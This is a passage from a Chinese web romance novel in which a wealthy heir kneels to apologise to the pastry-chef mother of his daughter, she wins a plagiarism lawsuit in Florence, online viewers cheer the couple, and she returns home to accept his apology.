结果不小心坐到了遥控器,电视上画面一跳,不知道放到了第几集,画面里是一片连绵的细雨,男女主站在大雨里,全身都被淋湿,男主好像已经找回了记忆,哭着求女主的原谅。 瓢泼的大雨不断从空中落下,男主眼眶通红,眼泪和雨水交融在一处,女主不肯原谅他,结果身为一国太子的他突然当着所有朝臣的面,在女主面前跪下……所有人都炸了! 要的就是这个效果。 弹幕也在疯狂输出,都说好土但好爽!火葬场就要有火葬场的样子! 土狗梁音本来想跳回去的,一时间也忍不住停下来继续看。 客厅里只开了一盏昏黄的灯,散着温润柔和的光芒。 电视上的画面还在不断跳动,剧情正到高潮。 霍景闻却没有看着电视,而是静静的看着梁音。 她坐在沙发上,眼睛一眨不眨,完全沉浸在剧情中。 有那么好看? 火葬场,又是什么意思? 等这段剧情过去,梁音这才意犹未尽的调到原来的集数。 “你喜欢这样的?” 霍景闻低冽的声音落在耳边,有些意味深长,“这种哭哭啼啼,又是下跪又是自残的娘炮方式,你竟然喜欢这样的?” 从他抬高的尾音可以听出来,他对梁音的爱好感到了不可思议。 梁音愣愣“啊”了一声,转头看到他的表情,不知道为什么突然有点羞耻起来。 又来了。 他怎么总是嫌弃她的品味,她就是喜欢看这种土土的,狗血的剧情啊,又怎么了嘛。 不可以吗? 要是没有她们这种人的喜欢,那这些电视剧拍给谁看啊? 梁音越想越觉得没什么,越理直气壮,“对啊,我就喜欢这种,不可以吗?” 霍景闻不知道为什么,沉默了起来。 过了会儿拿了颗红彤彤的草莓塞进她柔软的唇瓣里,力气有点儿重,好像有些不满似的气笑了,“好你个梁音,还挺会糟践人的。” 梁音咬住草莓:“……” 她就看个电视剧,她糟践谁了?!!!—— 作者有话说:霍景闻:行,我想想。 意意睁大眼睛:爸爸要干嘛? 第53章 第53章要不要重新和你在一起的…… 梁音调回了原来的集数。 电视上放到女主得知男主失忆后伤心得一个人坐在树下,默默流眼泪。 虽然知道男主失忆了才忘了他们的过去,但是女主也忍不住怨恨。 女主对男主的怨是真的,爱也是真的。 梁音悄无声息的叹气。 就像她当初得知真相,不止伤心,还有绝望。 伤心霍景闻的欺骗,绝望他们之间,天差地别。隔着天堑一般的距离,要她一个无父无母的孤儿如何跨越。 高攀不上,不如早点放弃。 她对霍景闻亦是。 怨是真的,爱也是真的。 她只是没想到,霍景闻会一直等她,等了她六年。得知这些,她不是不震惊的。 时间在剧情的发展中飞快流逝。 短剧的节奏就是快,不到两个小时,剧情已经过半了。到了凌晨,梁音终于有了些睡意。 她打算关掉电视,又转头看了看旁边默不作声的霍景闻。 他脱掉了外套,身上只穿着一件贵气的酒红色金线暗纹衬衫,扣子松散解开两颗,露出了精致性感的锁骨,西装裤包裹着的修长大腿懒懒散散翘起,他整个人没骨头似的慵懒窝在沙发里,浓密的睫毛垂着,看起来有种矜贵的颓丧之感。 他明明不喜欢看这种狗血的偶像剧,却不走,一直坐着,昏昏欲睡。 梁音也不知道他有没有睡着,微微探身过去,轻声问了句:“你还看么?” 霍景闻似乎才回神,淡漠的侧脸偏过来,“你不看了?” “嗯,时间有点儿晚了,我想睡觉了。” “噢,那我也不看了。” 霍景闻随即从沙发上站起来。 梁音先把电视关了,客厅里很快就变得静谧。脚心踩在地毯上,左右探寻,都没踩到拖鞋。 她弯下腰去查看,才发现地毯上只剩下一只拖鞋,还有一只不知道去了哪里。 可能是被她不小心踢走了,总归就在附近,可能在沙发底下,她猜。 正打算趴下去找鞋子,还没起身,就被一只大手摁住了肩膀:“你坐着,我来找。” 霍景闻已经看见她的拖鞋了。蹲下稍稍一矮身,长臂一伸,就拿到了她的拖鞋。 “谢谢。”梁音想接过来,霍景闻却没立即起身,垂着头,细碎的发遮住他凌厉的眉骨,不知道在想什么。 借着昏淡的光,她似乎看到他的下颚有些许的紧绷,好像在强自忍耐什么似的。 梁音不知道就他这样跋扈到什么都可以不放在眼里的人,还有什么事能让他为难成这样。 客厅忽然传来一声重重的烦躁的“啧”的一声。 霍景闻压下眉,好似下定了决心。 他拿着梁音的拖鞋,没有起身,而是在梁音不解的目光中,一条长腿缓缓屈下,然后轻轻跪在了柔软的地毯上。 “你……” 梁音瞳孔颤了颤,喉咙好像被什么堵住,说不出话来。 霍景闻屈膝跪在她腿边,一手抬握住梁音细白的脚腕,将拖鞋给她穿上。 却没有立即起身。 过了一开始那关,霍景闻那点不自在显然完全消散。 给老婆下跪而已,反正结婚的时候也是要跪的,没什么大不了的。 “你干嘛。”梁音有些手足无措,想起身却被霍景闻紧紧扣住,他就这样俯身过来,一只手臂撑在她身侧的沙发上,围成一个笼罩的姿势。 他掀开眼皮,静静打量梁音略有些无措的脸,慢声说:“梁音,你不是就喜欢这样的?” “我没有……”梁音百口莫辩,腰身无意识向后缩了缩。 她什么时候喜欢这样了。 她只是说,喜欢那个剧情而已。 又没让他下跪。 她这身体一往后靠,柔滑的真丝睡衣就往上缩,衣摆落在了如脂玉一般凝白的大腿上方。下一秒就被霍景闻的手臂拉了回来,腰身被他紧紧箍住,动弹不得。 霍景闻双臂紧抱她的腰,就着这个姿势低下头,额头轻轻靠了过去。 “行,你不喜欢,是我喜欢,是我想要诚恳地,向梁音道歉。” 昏黄光影落在他躬下来的腰背,明明很大一只,此时看起来竟然有一种弱小可怜的感觉。 梁音被他这样抱着,不知道为什么胸腔突然升起一种难言的酸涩与沉闷,她静静的坐着,没有再动。 霍景闻低着头,慵懒的声线带上一丝沉哑,“我知道自己做错了,你可以原谅我么?” 梁音手指用力蜷起,抓住自己的衣角。 “我……” 不知道怎么回答。 “其实被你拒绝的这段时间我也在想,我该怎么做,你才能原谅我。可是你好像有些太无情了呢,不管我怎么做,你连一个接近你的机会都不给我。明明知道我上综艺只是想见见你,你还要逼我退出。”霍景闻的手臂收得越来越紧,一贯强势的人语气带上了些许的委屈,“就真的一点儿也不喜欢我了吗?可是怎么办,我真的很爱你,不能没有你。” 梁音觉得自己不该动摇的。 她早就在六年前那个晚上想得很清楚了,藕断丝连,破镜重圆这种事也不适合她。他们之间,也没有能够继续走下去的理由。 她握着衣角的指尖都发白,那些深思熟虑之后拒绝的话却怎么也说不出口,沉讷无言。 霍景闻微微后退,低头亲了亲她嫩白的膝盖,几乎是妥协到底, “一点儿也不可能吗?” “宝宝,我对你的要求又不高,只要你爱我一点点就好,这样都不行吗?” 梁音感觉被他亲过的地方都还留有滚烫的印记,她的心里实在乱极了,用力握住了他的手臂,闷声说:“你不要装可怜了!” 霍景闻却反握住她的手,将她细长的手指一点一点完全包裹在掌心。 “那你会可怜我吗?” …… 梁音也不知道自己昨晚是怎么睡着的。 虽然睡下了,但是第二天一大早就起来了。 山上的空气很清新,阳光落在被秋天染黄的山腰,明媚又灿烂。 被霍景闻赶下山的管家已经回来了,同时霍景闻的车也已经加满了油。 他们可以回去了。 回去的路上还是霍景闻开车,他穿着一件深棕色的大衣,里面是整齐的马甲和衬衫,衬出劲瘦的腰身,打扮正式,看上去待会儿要出席什么重要的场合。 他看着笔直的马路,神色自若,又恢复成一贯的淡漠表情。 虽然梁音昨天根本没有回复他。 但是他没有继续追问,也让她松了一口气。 她实在不知道怎么回。 既不能断然拒绝,又没办法,答应他。有时候,她也会为难,会难以决断。 “去哪儿?” 沉默中霍景闻忽然问了一句。 梁音:“回家吧,餐厅放了我两天假,刚好我回去整理一下资料。” 看看之前还有没有什么漏掉的证据没有发现。 霍景闻往左打方向盘,驶入左边的道路。 一个小时后,车缓缓停在梁音小区楼下,她拉开车门,停了下,转身说:“谢谢你昨天带我散心。” “哦,不客气。”霍景闻也拉开车门下了车,绕到后备箱,好像要拿什么东西。 梁音不知道是不是自己这两天太敏感了,总感觉好像有人在偷拍。她四处张望了一下,发现不是自己敏感,草坪后面真的有人拿着照相机。 这两天她的事在网上闹得沸沸扬扬,有人来偷拍她也不奇怪。 或者是来拍她和霍景闻,都有可能。 梁音没时间多想,连忙走过去抓住霍景闻的手腕:“快走。” 霍景闻手里的袋子刚刚拎起,就被她急匆匆的拉走,手指传来她掌心的温度。 他也没问原因,干脆跟在她身后,看她神情慌张,也不知道发现了什么。 梁音拉着他进了电梯,才稍稍松了一口气。 从口袋里拿出手机,正想问明颜昨天有没有发现有人偷拍,她怕意意被那些狗仔拍到。 电话还没打出,耳边冷不丁响起一句:“梁音,你再摸我手,我可要收费了。” 梁音视线往下看去,发现自己还紧紧拉着他的手指。 连忙松开。 “对不起,我刚刚在楼下看到了狗仔,我怕我们被拍到,就拉你上来了。” “狗仔?”霍景闻眉头扬了扬,显然不太当回事儿,“这里哪来的狗仔?” 梁音:“我真的看见了,就在草丛里,还拿着相机。” 霍景闻:“照你这么说,那该拍的早就拍到了。” 梁音一顿:“……那怎么办?” 她下意识看着他。 电梯“叮”了一声,到了。 霍景闻看她傻乎乎的站着不动,率先从电梯里走了出来,慢条斯理地站在门前。 “怕什么,我来处理。” 梁音走出去,慢吞吞应了一句:“哦。” 心里某处,竟然很不争气地感到安心。 霍景闻抬手指了指,“还愣着干什么,过来开门啊。” 她的密码又不像他的那么好猜。 梁音又“哦”了一声,刚刚输完密码,打开门,霍景闻吊儿郎当的话音又在身后响起:“那你要怎么谢我?” 梁音愣了一下,转过身抬眼看他,圆润的杏眼带着一丝迷茫。 她没有想过要怎么谢他。 好像早就习惯了霍景闻会不求回报的帮她解决任何问题。 要从狗仔那里拿回偷拍的照片她是做不到的,还只能麻烦他。 “我请你吃饭好不好?”她想了想说。 霍景闻:“我不缺饭吃。” 梁音:“……” 那他更不缺钱,她还能怎么感谢他? “那我送你一个礼物吧?” “我霍景闻要什么没有?”他的语气很欠扁。 梁音叹了一口气:“那你要我怎么感谢你?” 她的表情看上去很苦恼。好像还真的在认真思考怎么谢他。 让本来只是随口一说的霍景闻惊讶地挑了挑眉。 “真的想感谢我?”他躬身下来直直的盯着她的眼睛。 梁音思考了秒,缓缓点头。 霍景闻嘴角的弧度淡下来,盯着她,不太正经地说:“行啊,那你亲我一口。” 又是这个要求。 好像他要求的所有回报,都只是她的一个吻。 梁音这次没有回避他的目光。 站在原地,没有回答。 安静的走廊里,似乎连空气都变得沉闷。 看她呆呆的模样,霍景闻闭了闭眼,缓缓直起腰,揉了下她的脑袋,“啧”了声:“开个玩笑,我需要你感谢什么——” 手指被一只温热的纤细的手掌捉住,拉下。 “霍景闻,我现在还没有想明白。”梁音握着他的手指紧了紧,好像这样,才能有勇气继续说下去,“等我从佛罗伦萨回来,我就给你答案,好吗?” 周身空气仿佛都停止了流动。 霍景闻喉结滚了滚,过了几秒,薄唇有些艰涩地动了动:“什么答案?” 梁音回得很认真:“要不要重新和你在一起的答案。”—— 作者有话说:——那你会可怜我吗? 第54章 第54章梁音还真是……会钓他。…… 梁音在周一乘坐飞机前往慕尼黑转机。 虽然官司只有两天,但是来回路程加上她还打算和几个朋友叙叙旧,加起来也要四五天。她在佛罗伦萨有好几个朋友,听说她要回去打官司,都热情的邀请她去家里住两天。梁音觉得不方便打扰,还是订了酒店。 加上转机,总时长十六个小时的长途路程注定不太好过,所以梁音一上飞机就把手机调成了飞行模式,带上眼罩开始补觉。 另外一边的千水公馆。 意意拖着一个大大的行李箱呆呆的站在明亮水晶灯下的客厅,还有些反应不过来: “我要在爸爸这里住五天吗?” 霍景闻察觉到女儿的不安,打开一瓶儿童牛奶,插上吸管递给她,蹲在孩子面前:“怎么了,是不喜欢爸爸这儿?” 意意是很贴心的孩子,她怕爸爸伤心,抱着牛奶连忙摇了摇头:“不是的,我喜欢爸爸这里。可是……我妈妈呢?我妈妈什么时候回来?” 梁音临行前是和孩子交代过的,但是才五岁的小孩,听的时候哪里有这个概念,到了现在才反应过来原来妈妈会有好几天都不在。 意意从出生到现在,都没有和梁音分开这么久过,她最依赖的也是梁音。 梁音这一走,意意眼巴巴的,心里突然生出一种不安,好像没了依靠一样,想妈妈尽快回来。 小孩的眼泪说来就来。 意意直直的站在客厅里,抱着小牛奶一口都没喝,豆大的泪珠子啪嗒啪嗒就掉了下来,挂在肥嫩的小脸上,像是晶莹的露珠。 又可怜又可爱。 这还是她第一次这样,哭闹着要梁音。 霍景闻打开手机看了眼时间,飞机起飞不到两个小时还没落地,不确定飞机上有没连网络,霍景闻没有给梁音打视频,而是先发了条微信:【在?】 没有回复。 看来是调成了飞行模式。 没办法打电话给她了。 霍景闻尝试说:“妈妈现在在飞机 上,打不了电话,我们先吃晚饭,吃完了再给妈妈打电话好不好?” 意意……哭得更大声了。 “不要,我要妈妈……” 霍景闻烦躁地抓了下头发。 他去哪儿给她变个妈妈出来? 他拉着女儿的小手,又说:“那先看小猪佩奇……” 霍景闻的话还没说完,就被意意用力甩开手,哭闹着说:“不、要。我都不要,我就要妈妈!” 霍景闻要被这小魔头气笑了。 深呼吸一口气,难得对女儿严肃起来,“梁从意,你这是在为难谁呢?你妈妈刚上飞机,我去把飞机给你打下来?” 意意吸了吸鼻子,立马眉开眼笑:“好的,爸爸。” 霍景闻:“……” 不好,一点都不好。 霍景闻都不知道自己是怎么把这小公主哄睡着的,整个人瘫在沙发上,手脚敞开,电视还在放着小猪佩奇,时不时的传出一两声的猪叫。 霍景闻感觉自己耳边全是猪叫声在环绕。 沙发上的手机忽然震动了一下。 他身体没动,伸长手臂把手机捞过来打开。 老婆:【怎么了?】 老婆:【刚刚在飞机上,开了飞行模式。我现在已经到慕尼黑的机场了,意意怎么样了?】 霍景闻打开相机,镜头往下,对着趴在他腰腹上瘫着小手小脚睡觉的意意拍了一张,发送给梁音。 霍景闻:【照片】 霍景闻:【睡着了,闹了好久,眼睛都哭红了。】 霍景闻:【还让我把飞机打下来带你回来。】 梁音看到霍景闻发来的微信,简直哭笑不得。 点开照片,发现女儿的眼皮粉粉的,一看就哭了很久。 意意从来没有离开她这么长时间,她本来以为至少要过两三天她才会闹。 霍景闻:【什么时候登机?】 梁音:【还有一个小时。】 微信刚发过去,霍景闻的视频通话请求就发了过来。 梁音点了接通。 一接通,视频里不是霍景闻,而是意意漂亮粉嫩的小脸。 “妈妈!”小孩儿嗓音嫩嫩的,软软的,大声地叫她。 梁音:“妈妈在呢,宝贝怎么哭鼻子啦?” 意意眼睛湿漉漉的:“我想妈妈了……” 梁音:“妈妈去佛罗伦萨工作呀,很快就会回来的。这几天,你就在爸爸那里,好不好?” 意意扁了扁小嘴:“呜呜……” 梁音连忙哄她:“没事的宝贝,爸爸会照顾好你,妈妈也会每天都会和你视频,你想妈妈的时候,就给我打电话好吗?” 意意抽噎着说:“好。” 梁音:“好了不哭了,你忘记了吗,女巫说意意是最快乐的小宝贝呀,怎么还掉眼泪呀?” 意意用手背擦了擦眼泪,对着手机嘟起小嘴,“吧唧”一声:“那我亲亲妈妈。” 梁音温柔地笑了笑,“好。我也亲亲意意。” 对着手机亲了亲意意,意意就被哄好了,大眼睛愉快地眯了起来。 下一秒手机屏幕里女儿的小脸被移开,换上一张棱角分明冷峻的帅脸。 梁音眼眸的笑意还未消散,看到他时忽然愣了一下,“怎么了?” 因为刚刚在和女儿说话,她的咬字还是有点软软的,很甜。 霍景闻喉结滚了滚。 本来想说要她也亲他一下,又把这句话咽了回去。 不能逼得太紧了。 也没有着急地问她考虑得怎么样,而是淡声问了句:“几点到佛罗伦萨?” 梁音:“差不多要十一点半。” 霍景闻:“嗯,到了和我说一声。” 梁音:“好。” 霍景闻忽然笑了声:“谢谢你帮我哄女儿。” 梁音也有点好笑:“不客气。” 霍景闻叹了口气:“梁小姐,你的女儿还有点儿难哄,哭起来啧……唔——” 他的嘴被一只小胖手紧紧捂住了。 意意的脑袋又凑了过来,乖巧地说:“妈妈,我不哭了呢。” 梁音:“好,宝贝真乖。” 意意连忙嗯嗯了两声。 梁音耳边响起了登机播报,“宝贝,妈妈要登机了,先挂了哦。” 意意:“好。” 挂了电话,霍景闻把手机丢在一边,转头和女儿湿漉漉的大眼睛对上。 意意眨巴眨巴眼睛,忽然又委屈地说:“我忘了问妈妈哪天回来了……” 霍景闻怕她又哭,连忙说:“星期五。” 意意:“啊?还有这么多天啊?那怎么办?” 霍景闻捏了捏女儿的小脸,没什么情绪地哼了声,“别哭了小公主。” “我可比你,更着急呢。” 如果不是梁音不同意的话,他都想陪着她一起去佛罗伦萨。 …… 梁音回到佛罗伦萨,和她原来的助理莫妮卡碰了一面。 她在佛罗伦萨一直有在帮梁音找证据,也拿到了便利店老板监控的储存卡。 监控显示,在比赛的前一周,大卫出现在附近足足有三次。 梁音想他一定是来考察地形的,又或许是一次没有得手,来了第二次第三次。 这也许可以当做一个辅佐证明。 但以此来证明大卫偷进她家里盗取了她的创意资料,还不够有力。 明天就要出庭了,莫妮卡也焦虑了起来。 这样下去,说不定Sherry会败诉! 她在房间里焦急地走来走去,询问梁音:“您当初做这道甜品,灵感是来自哪里呢?用的材料有没有比较特殊的?就我们目前掌握的资料,很有可能我们会失败。” 虽然莫妮卡只是助手,没有被当初的抄袭事件牵连太多,但是她也很痛心Sherry会被大卫那样的败类打败! 梁音这些天也整理了当初的资料。 甜品的配方资料大部分已经被大卫盗走删除了,但是这是她自己做出来的甜品,不需要资料,配方早就在她的脑海里。 她把所需要的材料每一个都列了出来。 大部分都是市面上常见的材料,唯独有一个重要的调配口感的咸杏仁,她在佛罗伦萨找寻了许久都没有找到合适的,最后是托明颜在宜京买来寄到佛罗伦萨的。 对话记录,购买时间都在比赛之前。 而这款咸杏仁正是她那款杏仁莓果的核心,大卫就算用别的咸杏仁替代,口感会天差地别。 重要的是,她这款甜品的灵感核心既然是咸杏仁,购买时间又一定远远在大卫之前,在加上她电脑里剩余的资料和莫妮卡拿到的监控,这场官司,她胜诉的概率很大! 但是还不能完全保证。 梁音的手机忽然响了一下,朋友给她发了个地址。 大卫是个酒鬼,她就想过他喝醉了会不会和朋友吹牛,说不定会说过这件事。 梁音查到他经常出入一家酒吧,和酒吧里的女老板走得很近。 这个女老板这几天都不在店里,去了周边的小镇度假。朋友刚刚把她住的酒店地址发给了她。 梁音关上手机,决定去碰碰运气。 莫妮卡见她要走,追在她身后,犹豫了下还是说:“对了Sherry,我来之前储经理让我带句话给你,他说想见你一面。” 梁音脚步顿了下。 “莫妮卡谢谢你帮我找到了证据,请你回去转告他,我很忙,就不和他叙旧了。” 去小镇的交通不太方便,梁音干脆租了一辆车开车去。 一来一回耗时比较久。 而且,她也没有把握能从那个女老板嘴里问出些什么。 —— 《完美厨神》第二期在周四上线。 经过一周的舆论洗礼,网友观看正片的热情疯狂高涨。 就想看看节目里梁音和文轩做的甜品差距有多大,让他跌份到竟然使出这么脏的伎俩。 也有部分网友想看看这霍家太子爷第一次上综艺表现如何,想看看霍景闻和梁音之间的互动,是不是符合他们的猜测。 于是节目正片一上线,热度就直线飞涨,不到两个小时,热度竟然直接冲破了三万大关!不仅超越了第一季的热度,甚至可以说是各大综艺节目从未有的热度! 这个《完美厨神》, 就这么水灵灵的,爆了。 并且,不知道是节目组刻意为之,还是网友的眼睛实在太尖了,真的找出了很多霍景闻对待梁音很特别的证据。 “前面每个甜品师端上来他们的甜品,这霍总就只看了一眼。那直白的眼神好像在说:都是垃圾。” “真就完全不给其他人面子哈。” “笑死,文轩的端出来他看都没看!嫌弃得不能再明显了。估计是早就知道这文轩是怎么样的人吧。” “梁音上场了,梁音展示她的甜品了……” “哦豁,镜头呢,我霍总的镜头呢!” 下一秒不负观众所望,镜头果然切到了霍景闻身上。 他还是那副冷淡的表情,但是,原本懒洋洋坐着的人,此时竟然端坐起来。 “咦,梁音说话,他听得好认真啊!果然一点都不狂了。” “是不是怕梁音下节目真实他哈哈!” “不会吧,霍大少这么屌会怕老婆吗?” “我觉得会。” 其实这些都是很微小的对比,结果观众眼睛比火眼金睛还厉害,全在细节扣糖。 要说全网最牛的一个群体,那真是非cp粉莫属了。 别说是真的,就是假的也能嗑得像真的。 镜头播到梁音展示她的甜品,掀开盖子那一刻,电视里传来观众的呼声,弹幕上也是。 “啊啊啊啊啊啊好漂亮的小蛋糕!” “太秀了!” “妈耶真是吊打!这文轩有得比吗?嫉妒死了梁音了吧。” “特邀的就是特邀的,天才甜品师!” “霍大少知道自己老婆的水平吧,怪不得对前面的甜品都不屑一顾呢。那确实没办法了。” “这霍什么的也太装了!没素质!” “该说不说,这不用评委来评,我都知道谁是第一了。” “好棒啊姐姐!” “怎么没有我居安思音的镜头啊哭哭。” “闻音起舞崛起!!!” “闻音起舞我嗑死!” “这次真的不一样,我嗑的cp是真的!” 晚上七点的千水公馆。 沙发上坐着一大一小,都看着面前的电视。 霍景闻看到弹幕上不断刷屏的“闻音起舞”,眉头都挑了起来。 现在的网友还挺有眼色? “爸爸,那个k、s、wl是什么意思啊?”意意趴到爸爸腿上,小手指了指弹幕上那几个字母。 她是个文盲,目前就看得懂这个。 霍景闻闲散地往后靠:“哦,你说那个啊,那是英文缩写。就是说——” 他慢条斯理地炫耀,“爸爸妈妈很甜!” 意意愣了一下:“可是爸爸妈妈又不是蛋糕,怎么会很甜?” 霍景闻和她这种小屁孩说不清楚,正想着怎么解释得通俗一点。 小孩忽然凑过来,大眼睛里都是好奇,“爸爸,你追到我妈妈了吗?” 霍景闻:“……” 他不敢百分之百确信梁音回国后给他的答案是yes,至少也有百分之九十九的自信。 可正是因为这百分之一的不确定,竟然让他这几个晚上都睡不好觉。 梁音看起来老实巴交的,还真是……会钓他。 今天已经是周四了,按道理她的官司也该打完了。 但是今天一整天,他都没有看到她发任何的消息,朋友圈也没有发。 如果胜诉了,她怎么也该惊喜的发个朋友圈才是。 如果输了…… 这个概率很小。 他咨询过霍氏的法务部,梁音目前手里的证据足够证明她是原创。 既然如此,她为什么这一天都没有动静? 她说好了从佛罗伦萨回来就给他答案,霍景闻不想在她面前表现得太过急迫,以免让她有压力又缩回壳子里。 可是越是临近周五,临近她回国的时间,霍景闻就越发的焦躁。 完全无法静心。 他决定委婉的关心一下梁音,并不是催促她的意思。 霍景闻:【官司打得怎么样?】 霍景闻:【明天我来接你?】 霍景闻:【意意很想你。】 霍景闻:【?】 霍景闻:【……我也是。】—— 作者有话说:表面:并不是催促的意思。 实际:老婆怎么还不回来! 第55章 第55章我也爱你。 霍景闻的微信发出去半个小时都没有得到回复。 打电话过去也是无人接听的状态。 也不知道她在忙什么。 烦躁地“啧”了声,他把手机丢在沙发上,仰头看着雪白的天花板。 这个时候《完美厨神》第二期上已经播完了,意意看完了爸爸妈妈的节目也有点儿困了,揉了揉眼睛,记起来明天就是周五了。 “爸爸,妈妈明天几点回来呀?”意意期待地问。 “……” 稚嫩的奶声仿佛一把尖刀插在他心口。 霍景闻想说他也不知道,又怕小家伙哭,就说:“应该是晚上。” 晚上几点,他就不能保证了。 “好吧。” 意意小大人一样叹气,从沙发上跳下来,抱着自己的玩偶,眼皮耷拉下来,困倦地说:“爸爸我想睡觉了。” “好。” 霍景闻弯下腰,把孩子捞起来放在手臂上坐好,抱着她起身回了房间,轻柔地把她放在床上盖好被子,低头亲了亲她的额头:“宝贝晚安。” …… 周五的宜京依然繁忙,车如流水,人流如织。 忙着打卡的上班族脚步匆匆,生怕迟到了被扣掉这个月的全勤。 早上九点半,项目部各高管已经齐聚在会议室里,个个正襟危坐,目不斜视。 会议长桌的上首,霍景闻姿态悠闲的坐着,长腿随意伫立,脸上看起来没什么表情,却让人感到他的心情不太妙。 稍微了解霍景闻的下属都知道,这霍总脸上越是没表情,心情就越是差劲。 齐峰率先上去,他打开自动投屏,开始汇报: “关于城西酒店的选址,我们目前选定了三处,一处,在政府大楼附近两公里,二处,在即将开发的游乐场附近三公里……” 随着他平仄分明的话音落下,会议室里众高管认真听着,有人时不时在纸上写上一点笔记,表现出自己的认真。 等齐峰汇报完,霍景闻淡淡应了声,目光慢条斯理扫视着底下众人,骨节分明的长指无聊的转着笔,停下,笔尖对准了右手边第二位。 “那就刘主管,你来说说,你认为应该选哪处?” 来了,阎王点名又来了。 没被点到的高管们一边擦汗一边庆幸没点到自己。 而被点到的不幸的刘文志暗骂了一声今天运气真差,心想改天一定要去寺庙里拜拜,改改运。下次千万不能被这阎王点到了。 他没什么底气地站起来:“我觉得这酒店应该选在游乐场附近。一方面是游乐场人流量多,来玩的游客都更倾向于住得更近一点,虽然游客群体单一,但就算只有游乐场的人流量,酒店的营收就很可观了……” 他花了五分钟阐述了自己的观点,越说越自信,自认为自己说得还不错。 结果下一秒,霍景闻眉头抬起,语气冰冷又刻薄:“给了你一个星期的时间,就给我这么浅薄且毫无价值的内容?是我对你们太宽厚,还是你们的猪脑没开发?” 冷漠无情的把刘文志骂了个狗血淋头。 霍景闻把一叠文件随手甩在会议桌上,冷冷丢下一句:“回去重做。” 整个会议室里鸦雀无声。 个个不敢抬 头。 谁不知道霍景闻的脾气一向恶劣,不近人情。 但今天这阎王爷明显格外暴躁,格外不留情面。 真不知道谁又惹他了! 会议结束后,有几个高管偷偷找张晓打探消息,张晓也摇了摇头,表示自己也不清楚。 公司运营良好,综艺节目播出后反馈也不错。作为刚被提拔上来的特助,他也还不太了解哪里出了问题。 整个人也更加谨慎小心了起来。 张晓把最近的工作记录准备好,做了一番心理准备,才敲响总裁办公室的大门。 “进。” 办公室里传来冷漠的一声。 张晓推门而入,却发现霍总没有在办公,而是盯着手机在看什么。 他抱着文件来到办公桌前,安静地站着,没敢打扰。 霍景闻微信翻了个遍,把wifi关掉又打开,确定自己的手机信号没问题,可是他昨天晚上发给梁音的微信到现在依然没有回复。 霍景闻十分烦躁。 随手把手机丢在桌上,闭上眼冷声说:“去帮我创一个微博账号。” 张晓愣了一下,霍总难道要开通微博了? “是需要我帮您做微博认证吗?” 霍景闻:“不需要,随便开个账号就行。” 张晓不敢多问:“好的,稍后我创建好就把账号发给您。另外昨天节目播出以后,按照您的要求,我观测了各大平台的反馈,关于您,还有梁音梁小姐的反馈都很不错,目前没有什么特别偏激的言论。” 霍景闻:“嗯。” 张晓:“舆论反馈都不错,梁小姐那边还需要继续关注吗?” 霍景闻抬眉:“什么意思?你不想干了?” 张晓没想到霍总会误会,连忙解释:“不是的霍总,我是刚刚看到梁小姐在微博已经贴出了胜诉的文件,澄清了抄袭的谣言。我想着这事已经完全解决了……” 既然已经解决了,他想就应该没有盯着的必要了。 没想到他只是提了一句霍总的反应会这么大。 网上都在猜梁小姐是霍总的白月光,张晓这时,总算是完全确信了。 这梁小姐简直就是霍总的逆鳞。 碰都不能碰。 张晓一头冷汗,慌忙解释。 霍景闻手指一顿。 梁音胜诉了? 重新拿起手机,打开微博。 果然,梁音在一个小时之前就发了一条微博:【谢谢大家这段时间以来的关注和支持。这么多天,关于我的一些争议一直没有消失,我也知道,网友和支持我的粉丝们都在等我的解释,我很着急,很想立刻给大家一个答案。可是官司没有打完,我也没有完全的把握,直到今天我终于拿到了判决书,可以肯定的,郑重的告诉大家——我没有抄袭,还是被抄袭的受害者。大半年以来,我被抄袭者诬告,深陷抄袭风波,生活和工作都受到了极大的困扰,被攻击,被谩骂,直到此刻官司胜诉,终于证明了我的清白。其中的艰辛我并不想多说什么,只想说一句——我无罪。最后,感谢为我发声的朋友,支持我的粉丝,谢谢大家。】 梁音这一篇澄清微博发出一个小时,底下已经有几千条的评论。 《完美厨神》节目组:“恭喜梁主厨,原创万岁!” 豌豆:“恭喜梁主厨!” 小丸子:“我知道梁老师就是最棒的!” 沈又安:“梁老师万岁!” 还有不计其数网友的评论:“啊啊啊啊啊啊终于等到姐姐的发声了,恭喜姐姐官司胜诉!” “姐姐真的太棒啦,我们会永远支持你的!” “我从来没有怀疑过你,能在一天内做出烟火这么屌的创意甜品的甜品师,本来就是老天爷赏饭吃,怎么可能抄袭!” “无论如何,恭喜姐姐官司胜诉!维权有多艰辛我们都懂的,呜呜呜呜太不容易了!” “姐姐最棒啦,终于等到你的声明。” “闻音起舞是真的!” “……” 霍景闻给梁音的微博点了个赞,紧接着注意到她发这篇微博的ip地址竟然是在——宜京! 也就是说,她至少在一个小时前就回来了! 而她在这一个小时里,都没有想起给他回条微信或者回个电话。 混蛋梁音,竟然就一直晾着他,不知道他有……多难挨么。 霍景闻忽地从办公椅上站起来,什么话都没说,转身快步离开。 留下在原地的张晓一头雾水,不知所措。 —— 霍景闻直接坐电梯到地下停车场,开车迅速驶离,一路上车速飚到一百二,本来开车是前往天星嘉华,可是开到一半,他忽然又调转车头,开往千水公馆。 半个小时后,他停下车,乘坐电梯至顶层。 直到来到自己家门口,胸口那过快的心率依旧没有平静下来。 大门的隔音很好,他没有听到里面有任何的动静。 下一秒,他摁下指纹,大门应声而开。 一股香甜的气息飘了过来。 梁音端着刚刚做好的舒芙蕾走出来,就这么和他撞了个照面。 “你怎么突然回家了?” 梁音明显有点惊讶。 霍景闻快步走过去站在她面前,平下呼吸,没什么情绪地说:“那你呢,为什么回国了不告诉我,也不回我的信息?” 客厅里开了暖气,梁音现在身上只有一件蓝色针织开衫搭配同色系的半身裙,为了方便做甜品把柔顺的长发用夹子夹在后脑勺,很居家温柔的打扮。 她把做好的舒芙蕾放在茶几上,脱去手套,露出莹白的手腕,双手背在身后,有些难为情地说:“我是想……给你一个惊喜啊。” 她是打算做好舒芙蕾,再稍微打扮一下再给他打电话的,哪里想到他竟然这么快就来了,还能猜到她在他家里。 太敏锐了吧。 “惊喜?”霍景闻逼近一步,再次敏锐的抓住了这两个字眼,喉结滚动了下,连呼吸都轻了轻,“你要给我惊喜,是不是就说明……” 他没有把话说完。 似乎依旧不敢置信。 梁音抬头静静地看着他,轻声的,却又坚定的,回应:“嗯。” “这些天我已经想得很清楚了,所以接下来我和你说的话,都是郑重的,深思熟虑过的。”她捏着手指,缓慢又认真地说,“我已经想清楚了,你的道歉我接受,你的欺骗,我不再计较。” 